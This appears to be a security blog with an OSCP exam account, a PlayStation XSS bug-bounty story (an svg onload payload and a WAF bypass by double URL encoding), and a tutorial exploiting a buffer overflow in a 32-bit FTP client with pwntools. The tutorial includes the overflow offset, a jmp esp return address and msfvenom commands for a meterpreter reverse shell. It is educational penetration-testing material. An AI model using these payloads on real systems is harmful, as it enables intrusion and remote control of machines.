Windows Buffer Overflow

Into the OSCP Journey

When people heard OSCP, they think the exam like a beast or a monster which will tear them apart. Yes, i did think like them in the past but with proper preparation, any beast or exam can be defeated. I took oscp exam on 27th August 2020 and passed on 31st August 2020. Today i will share you about my experience in the OSCP journey.

What is OSCP?

OSCP (called Offensive Security Certified Professional) is a well known certification in Cyber Security. It is famous for its 100% hands on exam which is really quite challenging. The exam duration is 24 hour(precisely 23 hour & 45 minute). In the exam, you have to do penetration testing on 5 boxes (means 5 computer servers),so the timing is also very important.If you want to know details about oscp, you can google it cuz i’m not going to explain in details.


Before doing OSCP, i spent most of my time solving the netsecfocus OSCP like machines from vulnhub and hackthebox. I completed 85% of the machines. Then I decided to purchase the OSCP course on june 27 and got access to labs and materials on july 5. In 20 days, I solved 35 machines from oscp labs including the big 4 which are considered to be difficult but not much difficult as hackthebox hard machines :C . Then i worried about my windows privilege escalation skill and decided to purchase the Tib3rius’s windows privilege escalation course which is really good for beginners.I did that course and just went roughly through the tryhackme oscp learning path. Then i decided to schedule my exam date on 27th August and relax my mind for 5 days before the exam.

For netsecfocus OSCP like machines

Tib3rius’s windows privilege escalation course

Tryhackme OSCP path

Exam Day

I scheduled my time at 7:30 am. A morning time is refreshing and is the best time to start. Due to my poor internet connection, i started at 7:50 am. The internet connection is very important for this exam. The exam is proctored. The proctorer checked the passport for identification and i had to show around the room, under the desk as they asked. I had to screenshare and allowed access protector to my webcam. So i recommend to check the screensharing and webcam before taking exam. As usual i did all the scanning on all boxes while doing bufferoverflow. Before starting exam, I started my windows 7 virutal box on my kali for preparation but it turned out to be very disadvantageous. My laptop was super slow and laggy. I was nervous bcuz of time late and the immunity dubugger was very laggy on my machine. Due to nervous,i made mistakes. I did the bufferoverflow patiently and after one and a half hours i got the flag. Then i saw my masscan did not get any output from one of the machines. I decided to scan it again and then my laptop got hanged. I had to restart my laptop in hurry and emailed the OSCP support about my problems. I reconnected to the exam panel and told about my problems. Then i resumed my exam but sadly i did not output any scan results. So, i decided to scan and did the boxes one after one. At sharp 1:30 pm, I had done 4 boxes and decided to get lunch. After lunch, i decided to do the reporting first because i’m bad at reporting and worried about my screenshots. After checking my report several times and i ended my exam. In the next morning, I submitted my report and got my exam result on 31st August. I passed the OSCP exam on my 1st attempt.

Tips on taking OSCP exam

  • Enumeration is the key [ Once you got access to OSCP student forum, i recommend to read the Alpha & Beta writeups ]
  • Taking screenshots as many as you can
  • Practise reporting
  • Practise boxes without writeups
  • Don’t get very nervous if something happens
  • Proper Preparation
  • Good Laptop, best internet and a good chair

Good Quotes

  • “Try Harder”
  • “Practice makes perfect”
  • “Every battle is won before it is fought”

Story of Playstation(Sony) XSS

Hello all!!! Today i decided to share my finding of xss on subdomain of playstation. It was 1 year ago i think, i started hunting bug on sony websites and first i found directory indexing on [ ]

Then i reported to sony and they didn’t accept because they could not find any impact.I didnt understand why they said that :3 and i was like okay.Then I tried to dig more into the folders and found this page [ ]. I found Qunit 1.21.0 on the page and i decided to find exploit on google. Then i found this page.

There are two pocs and the 2nd poc shows that the parameter testId is vulnerable to xss.So i decided to give it a try.First i injected payload <svg onload=alert(1)> and waf filters it.Then i fuzzed a lot and at last boom! double url encoding bypass the waf.

So the POC link is [ ].

Then i reported the bug and they replied back after 3 months and rewarded a swag that was never shipped to me :V .

Thats my story of xss on playstation. Hope you like it. Thanks!!!

Windows Buffer Overflow (32bit ftp)

Today I will show how to exploit the 32bit windows buffer overflow .This is my first post of writing blog post.

What is buffer mean?

Buffers are areas of memory set aside to hold data, often while moving it from one section of a program to another, or between programs

Buffer Overflow?

A buffer overflow occurs when a program or process attempts to write more data to a fixed length block of memory, or buffer, than the buffer is allocated to hold. Since buffers are created to contain a defined amount of data, the extra data can overwrite data values in memory addresses adjacent to the destination buffer unless the program includes sufficient bounds checking to flag or discard data when too much is sent to a memory buffer.


There is alot of tutorials about this 32bit ftp windows buffer overflow But I want to use the modern technique while the exploit the windows buffer overflow.Let’s start.


  • U can download the 32bit ftp exe file here
  • U can test any windows version.
  • Immunity Debugger
  • Pwntools

First u need to load the 32bit ftp in immunity debugger.

File > open > select the ftp file and open.

When i try run via debugger ,its ask me ftp server ip and port.So we need create the ftp server and let that client ftp connect to us.Let create the simple ftp server using pwntools.

from pwn import *

l = listen(21)

payload ="Sent some strings"

_ = l.wait_for_connection()

l.sendline("220 " + payload)

sudo python

Important ; Once u run the debgger ,every time u need to restart the debugger by pressing ctr+f2 or Debug tab > restart.

Next step . let crash the client ftp with a bunch of “A”

from pwn import *
l = listen(21)

payload ="A"*1000

_ = l.wait_for_connection()


Great!. It crash . When we focus the EIP in debugger the Stack fill with alot of “A” .(EIP 41414141)

All of the registers have been overwritten by 41 (hex for A). This means that we have a buffer overflow vulnerability on our hands and we have proven that we can overwrite the EIP. At this point, we know that the EIP is located somewhere between 1 and 1000 bytes, but we are not sure where it’s located exactly. What we need to do next is figure out exactly where the EIP is located (in bytes) and attempt to control it.

Next step is to find offset .Let’s find .

from pwn import *

l = listen(21)

payload =cyclic(1000)

_ = l.wait_for_connection()

l.sendline("220 " + payload)

Select the EIP address (786A6161) and find with cyclic_find()

Offset = 989

To execute shellcode, we need to find a JMP/CALL ESP memory address, so EIP will read it and jump to the memory address stored in ESP. When you loaded the FTP client program in Immunity, you saw the kernel32.dll module was also loaded.So we jump that address let the shellcode run.

!mona jmp -r esp -m kernel

U will see 3 jmp esp addresses and 2 call esp addresses .U can use one of them .All addresses is worked.So, let jump this addresses with shellcode.Firstly I will execute the calculator .After this i will show how to generate reverse shell and exploit this.Let’s Pop calculator.

To generate the calc using msfvenom

msfvenom -a x86 –platform windows -p windows/exec cmd=calc.exe -e x86/alpha_mixed -f c -b “\x00”

Note: This ftp doesn’t contains any bad characters .So I will not show u how find bad characters in easy way and how avoid them.But I will write in another post .

Ths goal is Buffer + jmp esp + NOP + shellcode .

Why NOP contains in this exploit?

Some attacks consist of making the program jump to a specific address and continue running from there. The injected code has to be loaded previously somehow in that exact location.

Stack randomization and other runtime differences may make the address where the program will jump impossible to predict, so the attacker places a NOP sled in a big range of memory. If the program jumps to anywhere into the sled, it will run all the remaining NOPs, doing nothing, and then will run the payload code, just next to the sled.

The reason the attacker uses the NOP sled is to make the target address bigger: the code can jump anywhere in the sled, instead of exactly at the beginning of the injected code.

A 128-byte NOP sled is just a group of NOP intructions 128 bytes wide.

NOTE #1: NOP (No-OPeration) is an instruction available in most (all?) architectures that does nothing, other than occupying memory and some runtime.

NOTE #2: in architectures with variable length instructions, a NOP instruction is usually just one byte in length, so it can be used as a convenient instruction padding. Unfortunately, that also makes it easy to do a NOP sled.

Ref :

Let’s go.

from pwn import *

payload ="\x41"*989

#jmp esp address

payload +=p32(0x765A3132)
payload += "\x90" * 30
payload += (

l = listen(21)
_ = l.wait_for_connection()

l.sendline("220 " + payload)

Ogay. cacl.exe pop up successfully .now I will generate the reverse shellcode using msfvenom.Coz i wanna control this machine ,popping calc isn’t enough for me :D….

msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT=4444 -a x86 –platform win -e x86/alpha_mixed -f c -b ‘\x00’

Put the result in python script and run .

from pwn import *
payload ="\x41"*989
#jmp esp address
payload +=p32(0x771F3132)
payload += "\x90"*30
payload += (
l = listen(21)
_ = l.wait_for_connection()
l.sendline("220 " + payload)

Wait for connection in another terminal .


Let Break !

Exploit development is the long way journey .It’s endless, We just need to run. πŸ˜€ πŸ˜€

If u face any trouble during testing .Just ping me.


Scroll to top